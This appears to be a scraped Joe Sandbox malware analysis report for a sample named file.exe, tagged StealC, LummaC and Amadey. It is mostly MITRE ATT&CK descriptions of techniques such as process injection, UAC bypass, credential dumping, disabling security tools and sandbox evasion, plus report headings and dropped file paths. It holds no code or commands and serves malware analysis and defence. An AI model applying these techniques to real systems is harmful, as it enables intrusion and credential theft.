Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAFBAKEC

C:\ProgramData\AEHIJDAFBKFHIDGCFBFC

C:\ProgramData\BAECFCAAECBGDGDHIEHJEBAAFI

C:\ProgramData\GHCGDAFC

C:\ProgramData\HIDHDAAEHIEHIECBKJDGDBFBGI

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.
Tactics:	Collection
Data Sources:	Logon Session: Logon Session Creation, Process: Process Access, Process: Process Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre